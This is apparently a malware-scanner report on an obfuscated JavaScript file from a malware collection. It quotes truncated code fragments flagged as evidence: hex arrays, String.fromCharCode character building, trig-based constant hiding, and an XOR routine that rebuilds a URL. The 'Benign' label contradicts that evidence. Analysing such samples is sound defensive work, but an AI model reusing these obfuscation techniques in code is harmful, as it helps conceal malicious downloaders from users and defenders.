Benign javascript-malware-collection Download

20151217_2dc88eec3c08115cee4958e57f8ef967.js

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression

SHA-2566006bb704f17f5c04fc8c9098fd126de2fd70fcff0dc61c4719a1c46bc15c8e6

Evidence

0x3f hex byte token line 1

1eOzCRAMd=[0x3,0x9,0xc,0x11,0x14,0x19,0x1e,0x25,0x2c,0x2e,0x36,0x37,0x3f,0x44,0x48,0x4b,0x54,0x58,0x5c,0x60,0x68,0x6d,0x6e,0x75,0x7c,0x7e,0x83,0x8b,0x8d,0x95,0x96,0x9d,0xa3,0xa6,0xae,0xb3,0xb5,0xb9,0x …

Builds characters with String.fromCharCode line 2

2:162… '!','.','s','^','R','q','w','U','+',' ','i','M','`','3','P','L',String.fromCharCode(10),'N','@','Z','S','i',',','1','C',';','h','G','_','&',String.fromCharCode(13),':','=','z','T',']','h',':','=','m','>','P','T','+','!','M','I','9','W','"','z','[','b','M','>','.','h','L','(','X','Y','5','4','o','V','c','%','9','9','=','j','n','U','i','^','M','_','[','<','"','l','6','B','q',',',')','d','C',')','7','&','5','a','&','&','.','[','U','y','s','0','2','3','h','i',']','l …

XOR URL reconstruction call line 2

2:1846… '&','c','Y','n','"','[','w','Z','6','i','7','E','h','c','=','[',String.fromCharCode(92),'M','z','u','1','y','l','Z',']','i','4','^','a','S',')','_','!','J','_','e','`','y','5','J','?','a','i','y','h','_','I','7','=','b','m','?','>','c','n','h','@','j','R','d …

Dense indexed short-token grid lines 12–13

12:33… rhPMvDf,bDpjtQmnKlE) {wShsvASfbdBttO[sSzNVTrhPMvDf]=bDpjtQmnKlE;}
13var z = new Array();z[0]=[];z[0][0]='d';z[0][1]='a';z[0][2]='d';z[0][3]='a';z[0][4]='46';z[0][5]='3d';z[0][6]='42';z[0][7]='14';z[0][8]='2a';z[0][9]='14';z[0][10]='25';z[0][11]='14';z[0][12]='16';z[0][13]='47';z[0][14]='3k';z[0][15]='3d';z[0][16]='44';z[0][17]='3g';z[0][18]='3l';z[0][19]='3g';z[0][20]='49';z[0][21]='3 …

Numeric sine-square obfuscation expression lines 19–22

19:30… ],z[4],z[5]];
20var ksXBzFBRu=[];
21function DvtSAwyLxThyOLNzk(wzuqd){nKbSsLJsMMx= '';hMERqOnyMhX=Math.round((Math.pow(Math.sin(549), 2) + Math.pow(Math.cos(549), 2) - 1));while(true){if (hMERqOnyMhX >= (3938+160)/683){break;}ksXBzFBRu[hMERqOnyMhX]=Math.round((Math.pow(Math.sin(702), 2) + Math.pow(Math.cos(702), 2) - 1)); while(true) { if(ksXBzFBRu[hMERqOnyMhX] > wzuqd[hMERqOnyMhX].length-(-37+514)/477) { break; } if (wyWjCMz(YduTo(wzuqd[hMERqOnyMhX][ksXBzFBRu[hMERqOnyMhX]],(8316+252)/306,(3918+422)/434))) {nKbSsLJsMMx += SwjRbCLZZmJTaAIaeUhxAjBlLWTSpDnfNcPCKieHOtdglfqIrfICpk([wzuqd[hMERqOnyMhX][ksXBzFBRu[hMERqOnyMhX]]], Math.round((Math.pow(Math.sin(359), 2) + Math.pow(Math.cos(359), 2) - 1)));} ksXBzFBRu[hMERqOnyMhX]++;}hMERqOnyMhX++;} return nKbSsLJsMMx}
22var mNhMCFWOyPDDHeKsAazcNPIxMreQeiAbN = 'tcGcSexQRNwcFzUsNlVRBznIMmBiBrMnLzrE';var AistnpXHMrxHuyhlnwxUqKOljLHCGvAM = 'ypzVPntOGYBNkElKkZCgDREBcLqGJrvxhfBl';FhDbILPLWlkugBw(DvtSAwyLxThyOLNzk(wzuqd),mNhMCFWOyPDDHeKsAazcNPIxMreQeiAbN,AistnpXHMrxHuyhlnwxUqKOljLHCGvAM);